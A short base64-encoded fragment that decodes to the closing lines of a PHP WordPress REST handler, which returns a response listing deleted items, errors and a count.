CB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydvaycgPT4gdHJ1ZSwgJ2RlbGV0ZWQnID0+ICRkZWxldGVkLCAnZXJyb3JzJyA9PiAkZXJyb3JzLCAnY291bnQnID0+IGNvdW50KCRkZWxldGVkKV0pOwogICAgfQp9Cg==